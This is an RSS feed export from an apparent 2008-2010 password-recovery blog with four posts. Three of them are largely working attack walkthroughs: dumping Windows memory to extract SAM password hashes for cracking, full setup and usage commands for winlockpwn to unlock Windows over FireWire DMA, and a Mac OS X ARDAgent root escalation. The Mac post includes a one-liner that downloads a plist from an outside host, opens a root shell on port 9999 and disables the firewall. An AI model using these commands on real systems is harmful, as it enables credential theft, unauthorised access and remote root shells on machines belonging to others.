<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>What's My Pass? &#187; Python</title>
	<atom:link href="http://www.whatsmypass.com/tag/python/feed" rel="self" type="application/rss+xml" />
	<link>http://www.whatsmypass.com</link>
	<description>Password Recovery R Us</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:16:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Dumping Physical Memory to extract SAM Hashes</title>
		<link>http://www.whatsmypass.com/dumping-physical-memory-to-extract-sam-hashes</link>
		<comments>http://www.whatsmypass.com/dumping-physical-memory-to-extract-sam-hashes#comments</comments>
		<pubDate>Sat, 21 Mar 2009 21:48:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Password Info]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Administrator]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[Manitoba]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[operating systems]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[python interpreter]]></category>
		<category><![CDATA[sam]]></category>
		<category><![CDATA[Windows 2000]]></category>
		<category><![CDATA[Windows 2003 Server]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=507</guid>
		<description><![CDATA[Tools Needed : MDD pyCrypto Volatility 1.3 Beta Volatility Plugin from Moyix ManTech Memory DD (MDD) (http://www.mantech.com/msma/MDD.asp) is released under GPL by Mantech International. MDD is capable of copying the complete contents of memory on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. After downloading MDD from the [...]]]></description>
			<content:encoded><![CDATA[<p class="excerpt">Tools Needed : MDD pyCrypto Volatility 1.3 Beta Volatility Plugin from Moyix ManTech Memory DD (MDD) (http://www.mantech.com/msma/MDD.asp) is released under GPL by Mantech International. MDD is capable of copying the complete contents of memory on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. After downloading MDD from the Mantech site you need to run <span id="more-507"></span></p>
<p>Tools Needed :</p>
<p><a href="http://www.mantech.com/msma/MDD.asp">MDD</a></p>
<p><a href="http://www.voidspace.org.uk/downloads/pycrypto-2.0.1.win32-py2.6.exe">pyCrypto</a></p>
<p><a href="https://www.volatilesystems.com/volatility/1.3/Volatility-1.3_Beta.zip">Volatility 1.3 Beta</a></p>
<p><a href="http://kurtz.cs.wesleyan.edu/%7Ebdolangavitt/memory/volreg-0.2.zip">Volatility Plugin from Moyix</a></p>
<p>ManTech Memory DD (MDD) (http://www.mantech.com/msma/MDD.asp) is released under GPL by Mantech International. MDD is capable of copying the complete contents of memory on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server.</p>
<p>After downloading MDD from the Mantech site you need to run the program at the command line.</p>
<p>MDD Command Line Usage:</p>
<p><span style="font-style: italic;">mdd -o OUTPUTFILENAME</span></p>
<p>Step by Step Example :</p>
<p>First of all, run MDD to dump the memory of the machine. The output file , would be an image of the physical memory, and MDD is often used to only dump the memory.</p>
<p><span style="font-style: italic;">C:\Documents and Settings\Administrator\Desktop\MDD&gt;mdd_1.3.exe -o dump.dd</span></p>
<p><span style="font-style: italic;">-&gt; mdd</span></p>
<p><span style="font-style: italic;">-&gt; ManTech Physical Memory Dump Utility</span></p>
<p><span style="font-style: italic;">Copyright (C) 2008 ManTech Security &amp; Mission Assurance</span></p>
<p><span style="font-style: italic;">-&gt; This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w’</span></p>
<p><span style="font-style: italic;">This is free software, and you are welcome to redistribute it</span></p>
<p><span style="font-style: italic;">under certain conditions; use option `-c’ for details.</span></p>
<p><span style="font-style: italic;">-&gt; Dumping 511.48 MB of physical memory to file ‘dump.dd’.</span></p>
<p><span style="font-style: italic;">130938 map operations succeeded (1.00)</span></p>
<p><span style="font-style: italic;">0 map operations failed</span></p>
<p><span style="font-style: italic;">took 32 seconds to write</span></p>
<p><span style="font-style: italic;">MD5 is: 78924418adaf67d22a6687dcc6ff4e23</span></p>
<p><span style="font-style: italic;">C:\Documents and Settings\Administrator\Desktop\MDD&gt;</span></p>
<p>Next, we will need to analyze the “memory image” &#8211; dump.dd .</p>
<p>For this, we will be using Using Volatility (1.3_Beta), Volatility Plugin from Moyix, and a Windows Hash/Password Finder (SamInside) to identify the passwords.</p>
<p>1. First of all, most of these scripts are written in python, and as such, you would need to download and install a python interpreter (Active Python ).</p>
<p>2. Download Volatility (1.3_Beta) , extract it to a folder.</p>
<p>3. Download Volatility Plugin from Moyix, extract it, and copy its content into the Volatility folder, overwriting your existing forensics, memory_objects, and memory_plugins folders.</p>
<p>4. Download pyCrypto and install it.</p>
<p>5. Copy the dump.dd file (output file of MDD) into the Volatility folder.</p>
<p>6. Run hivescan from volatility to get the hive offsets. Execute the following:</p>
<p><span style="font-style: italic;">C:\Documents and Settings\Administrator\Desktop\Volatility-1.3_Beta&gt; python volatility hivescan -f dump.dd</span></p>
<p><span style="font-style: italic;">Offset (hex)</span></p>
<p><span style="font-style: italic;">45147992 0×2b0e758</span></p>
<p><span style="font-style: italic;">45393752 0×2b4a758</span></p>
<p><span style="font-style: italic;">49832984 0×2f86418</span></p>
<p><span style="font-style: italic;">56797016 0×362a758</span></p>
<p><span style="font-style: italic;">58091352 0×3766758</span></p>
<p><span style="font-style: italic;">64191328 0×3d37b60</span></p>
<p><span style="font-style: italic;">145440776 0×8ab4008</span></p>
<p><span style="font-style: italic;">146819936 0×8c04b60</span></p>
<p><span style="font-style: italic;">147082080 0×8c44b60</span></p>
<p><span style="font-style: italic;">197245792 0xbc1bb60</span></p>
<p><span style="font-style: italic;">215368912 0xcd644d0</span></p>
<p><span style="font-style: italic;">228964464 0xda5b870</span></p>
<p><span style="font-style: italic;">244838408 0xe97f008</span></p>
<p><span style="font-style: italic;">271077384 0×10285008</span></p>
<p><span style="font-style: italic;">271171592 0×1029c008</span></p>
<p><span style="font-style: italic;">361696096 0×158f0b60</span></p>
<p><span style="font-style: italic;">373147760 0×163dc870</span></p>
<p><span style="font-style: italic;">401433808 0×17ed64d0</span></p>
<p><span style="font-style: italic;">425734152 0×19603008</span></p>
<p><span style="font-style: italic;">435642376 0×19f76008</span></p>
<p><span style="font-style: italic;">452021088 0×1af14b60</span></p>
<p><span style="font-style: italic;">489651040 0×1d2f7b60</span></p>
<p><span style="font-style: italic;">506391392 0×1e2eeb60</span></p>
<p><span style="font-style: italic;">509397104 0×1e5cc870</span></p>
<p><span style="font-style: italic;">526976208 0×1f6904d0</span></p>
<p><span style="font-style: italic;">C:\Documents and Settings\Administrator\Desktop\Volatility-1.3_Beta&gt;</span></p>
<p>7. Next, Run hivelist from volatility with the first hivescan offset, from previous output. Execute the following:</p>
<p><span style="font-style: italic;">C:\Documents and Settings\Administrator\Desktop\Volatility-1.3_Beta&gt;python volatility hivelist -f dump.dd -o 0×2b0e758</span></p>
<p><span style="font-style: italic;">Address Name</span></p>
<p><span style="font-style: italic;">0xe1cda008 \Documents and Settings\Administrator\Local Settings\Application Da</span></p>
<p><span style="font-style: italic;">ta\Microsoft\Windows\UsrClass.dat</span></p>
<p><span style="font-style: italic;">0xe1cc4008 \Documents and Settings\Administrator\NTUSER.DAT</span></p>
<p><span style="font-style: italic;">0xe1afeb60 \Documents and Settings\LocalService\Local Settings\Application Dat</span></p>
<p><span style="font-style: italic;">a\Microsoft\Windows\UsrClass.dat</span></p>
<p><span style="font-style: italic;">0xe1b4c008 \Documents and Settings\LocalService\NTUSER.DAT</span></p>
<p><span style="font-style: italic;">0xe1b13870 \Documents and Settings\NetworkService\Local Settings\Application D</span></p>
<p><span style="font-style: italic;">ata\Microsoft\Windows\UsrClass.dat</span></p>
<p><span style="font-style: italic;">0xe1b004d0 \Documents and Settings\NetworkService\NTUSER.DAT</span></p>
<p><span style="font-style: italic;">0xe1609b60 \WINDOWS\system32\config\software</span></p>
<p><span style="font-style: italic;">0xe160bb60 \WINDOWS\system32\config\default</span></p>
<p><span style="font-style: italic;">0xe1741b60 \WINDOWS\system32\config\SAM</span></p>
<p><span style="font-style: italic;">0xe1607008 \WINDOWS\system32\config\SECURITY</span></p>
<p><span style="font-style: italic;">0xe142e418 [no name]</span></p>
<p><span style="font-style: italic;">0xe1036758 \WINDOWS\system32\config\system</span></p>
<p><span style="font-style: italic;">0xe1022758 [no name]</span></p>
<p><span style="font-style: italic;">C:\Documents and Settings\Administrator\Desktop\Volatility-1.3_Beta&gt;</span></p>
<p>8. Now that we have the address locations, Pay attention to SAM &amp; SYSTEM addresses. Find Password Hash using this command : python volatility hashdump -f dump.dd -y System Hive Offset -s SAM Hive Offset.</p>
<p><span style="font-style: italic;">python volatility hashdump -f dump.dd -y 0xe1036758 -s 0xe1741b60</span></p>
<p>Extracted SAM :</p>
<p><span style="font-style: italic;">Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span></p>
<p><span style="font-style: italic;">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span></p>
<p><span style="font-style: italic;">HelpAssistant:1000:e342f6782d705142f81cce8f13488846:5cc6a7ed5dce2e04e648b8b6c14c9eed:::</span></p>
<p><span style="font-style: italic;">SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:00fb5891d8488d816968e68a09a868b8:::</span></p>
<p><span style="font-style: italic;">john:1003:972d6bbe1f00e65eaad3b435b51404ee:69bf94898385467264708f3cc51cf0a4:::</span></p>
<p>Now you can just open this as a pwdump file in SamInside and crack it !</p>
<p>Source: <a href="http://www.akati.com/warlock/?p=61">Warlock</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/dumping-physical-memory-to-extract-sam-hashes/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Wii Parental Control Password Reset Tool</title>
		<link>http://www.whatsmypass.com/wii-parental-control-password-reset-tool</link>
		<comments>http://www.whatsmypass.com/wii-parental-control-password-reset-tool#comments</comments>
		<pubDate>Fri, 17 Oct 2008 22:25:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Password Info]]></category>
		<category><![CDATA[little tool]]></category>
		<category><![CDATA[Nintendo]]></category>
		<category><![CDATA[Parental Control]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Wii]]></category>
		<category><![CDATA[Wii Parental Control Password]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=337</guid>
		<description><![CDATA[This should be of use for those who bought second-hand Wiis that were parental-locked. Marcan wrote a quick little tool to generate Parental Control password reset codes without having to call Nintendo. Bushing found the code inside the system menu, and Marcan converted it into a PSP script (Python Server Pages) which you can use [...]]]></description>
			<content:encoded><![CDATA[<p>This should be of use for those who bought second-hand Wiis that were parental-locked. <em>Marcan</em> wrote a quick little tool to generate Parental Control password reset codes without having to call Nintendo. <em>Bushing</em> found the code inside the system menu, and <em>Marcan</em> converted it into a PSP script (Python Server Pages) which you can use on-line.<br />
Go into the Parental controls itself, then Click &#8220;I forgot on the Pin&#8221; entry page, and &#8220;I forgot on the Secret Answer&#8221; entry page. Your 8 digit confirmation code will be on the next page. Enter that code into the box here <a href="http://wii.marcansoft.com/parental.psp" target="_blank">http://wii.marcansoft.com/parental.psp</a> and it will spit back the code to unlock it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/wii-parental-control-password-reset-tool/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Winlockpwn &#8211; Access through firewire</title>
		<link>http://www.whatsmypass.com/winlockpwn-access-through-firewire</link>
		<comments>http://www.whatsmypass.com/winlockpwn-access-through-firewire#comments</comments>
		<pubDate>Mon, 23 Jun 2008 02:42:03 +0000</pubDate>
		<dc:creator>Dev Team</dc:creator>
				<category><![CDATA[Password Info]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Adam]]></category>
		<category><![CDATA[Adam Boileau]]></category>
		<category><![CDATA[CEO]]></category>
		<category><![CDATA[firewire devices]]></category>
		<category><![CDATA[ipod]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[memory analysis tool]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[raw1394 devices]]></category>
		<category><![CDATA[SP2]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=27</guid>
		<description><![CDATA[From Pauldotcom:
winlockpwn is a memory analysis tool released by Adam Boileau of storm.net.nz. This utility exploits firewire&#8217;s direct memory access. The operating system allows firewire devices to directly read/write memory without having to go through the processor. Sounds handy right? 
I installed winlockpwn on Ubuntu 7.10 and a fully patched Windows XP SP2 box.  [...]]]></description>
			<content:encoded><![CDATA[<p>From Pauldotcom:</p>
<p><span>winlockpwn</span> is a memory analysis tool released by Adam Boileau of storm.net.nz. This utility exploits firewire&#8217;s direct memory access. The operating system allows firewire devices to directly read/write memory without having to go through the processor. Sounds handy right? <span id="more-23"></span></p>
<p>I installed <span>winlockpwn</span> on Ubuntu 7.10 and a fully patched Windows XP SP2 box.  The first step is to download the required libraries:</p>
<pre><span>sudo aptitude install libdc1394-13 libraw1394-dev swig python</span></pre>
<p>Now we need to download and install Python 2.3 because I tried to run it using Python 2.5 with no success:</p>
<pre><span>wget http://www.python.org/ftp/python/2.3.6/Python-2.3.6.tgz
tar -zxvf Python-2.3.6.tgz
cd Python-2.3.6
./configure
make
sudo make install</span></pre>
<p>The next step is to modify libraw1394:</p>
<pre><span>sudo vim /usr/include/libraw1394/raw1394.h</span></pre>
<p>At this point go ahead and search for “<span>__attribute__((deprecated));</span>” in the file raw1394.h and comment out every line that contains it. Hint: don&#8217;t forget to end the line above it with a semi-colon. Once you comment all of them out, save and close the file. The next step is to get the pythonraw1394 library. It contains the python bindings for <span>libraw1394</span>, <span>romtool</span>, and <span>businfo</span> from Adam’s site.</p>
<pre><span>wget http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz</span></pre>
<p>And of course, we need to untar it</p>
<pre><span>tar -zxvf pythonraw1394-1.0.tar.gz</span></pre>
<p>Now we need to go into the untared directory and download the actual <span>winlockpwn</span> script:</p>
<pre><span>cd pythonraw1394
wget http://www.storm.net.nz/static/files/winlockpwn</span></pre>
<p>The winlockpwn script needs to be in the pythonraw1394 directory or it wont work without modifying the code. Also, we need to make it executable:</p>
<pre><span>chmod +x winlockpwn</span></pre>
<p>Now we also need to edit the Makefile for pythonraw1394 to point it to python 2.3&#8217;s include directory:</p>
<pre><span>sudo vim Makefile</span></pre>
<p>Now change /usr/include/python2.3 to /usr/local/include/python2.3 on lines 5 and 6. Again, save and quit and compile it with the following command:</p>
<pre><span>sudo make</span></pre>
<p>The raw1394 module also needs to also be loaded and the permissions changed on the raw1394 devices:</p>
<pre><span>sudo modprobe raw1394
sudo chmod 666 /dev/raw1394</span></pre>
<p>Now we need to plug into the windows machine and then edit the <span>romtool</span> to reflect the location of python:</p>
<pre><span>sudo vim romtool</span></pre>
<p>Change <span>#!/usr/bin/python</span> to <span>#!/usr/local/bin/python</span> on the first line one of the file.<br />
Repeat the same step for the <span>winlockpwn</span> script as well.<br />
And then load the ipod image onto the firewire port.</p>
<pre><span>./romtool -s 0 ipod.csr</span></pre>
<p>Loading the ipod image onto the firewire port basically fools windows into thinking your linux box is an ipod.<br />
Now we can run <span>businfo</span> to make sure the ipod image is loaded and on what port number it is on as well as making sure you can see your computer on the other end. Mine showed the ipod image loaded onto port number 0 and my windows box on node number 1.<br />
Now, the fun part! Run <span>winlockpwn</span><br />
as follows:</p>
<pre><span>winlockpwn port node target</span></pre>
<p>Mine looked like this:</p>
<pre><span>./winlockpwn 0 1 1</span></pre>
<p>Once you run <span>winlockpwn</span>, the windows box will accept any password you choose to give it (even a blank password) and unlock the system for you.</p>
<p>There are many security issues that arise from <span>winlockpwn</span>. What is to stop one of the janitorial staff from getting into the CEO&#8217;s office after hours and immediately getting access to his box because all he did was lock it before he went home? It just goes to show that once someone gains physical access, game over.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/winlockpwn-access-through-firewire/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mac OS X Root Escalation Through AppleScript [Local]</title>
		<link>http://www.whatsmypass.com/mac-os-x-root-escalation-through-applescript-local</link>
		<comments>http://www.whatsmypass.com/mac-os-x-root-escalation-through-applescript-local#comments</comments>
		<pubDate>Sun, 15 Jun 2008 09:48:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[AppleScript]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[rw- 1]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=56</guid>
		<description><![CDATA[Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through
AppleScript:
osascript -e &#8216;tell app &#8220;ARDAgent&#8221; to do shell script &#8220;whoami&#8221;&#8216;;
I don&#8217;t have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such [...]]]></description>
			<content:encoded><![CDATA[<p>Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through<br />
AppleScript:<br />
osascript -e &#8216;tell app &#8220;ARDAgent&#8221; to do shell script &#8220;whoami&#8221;&#8216;;</p>
<p>I don&#8217;t have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.<br />
dan@Geelong:~$ ls -lh /etc/somefile<br />
ls: /etc/somefile: No such file or directory<br />
dan@Geelong:~$ osascript -e &#8216;tell app &#8220;ARDAgent&#8221; to do shell script &#8220;touch /etc/somefile&#8221;&#8216;<br />
dan@Geelong:~$ ls -lh /etc/somefile<br />
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile<br />
dan@Geelong:~$ osascript -e &#8216;tell app &#8220;ARDAgent&#8221; to do shell script &#8220;rm /etc/somefile&#8221;&#8216;<br />
dan@Geelong:~$ ls -lh /etc/somefile<br />
ls: /etc/somefile: No such file or directory<br />
So, how dangerous is this? Here&#8217;s an example:</p>
<p>osascript -e &#8216;tell app &#8220;ARDAgent&#8221; to do shell script &#8220;cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl &#8220;&#8216;</p>
<p>This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can &#8216;nc localhost 9999&#8242; and find yourself at a root shell.</p>
<p>To remove, run &#8216;launchctl unload com.apple.bash&#8217; &#8216;launchctl unload /System/Library/LaunchDaemons/bash.plist&#8217; and then &#8216;rm /System/Library/LaunchDaemons/bash.plist&#8217;</p>
<p>It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that&#8217;s easily bypassed with a Python script.</p>
<p>So yeah; anything can be downloaded, and anything can be done with it. Scary.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/mac-os-x-root-escalation-through-applescript-local/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
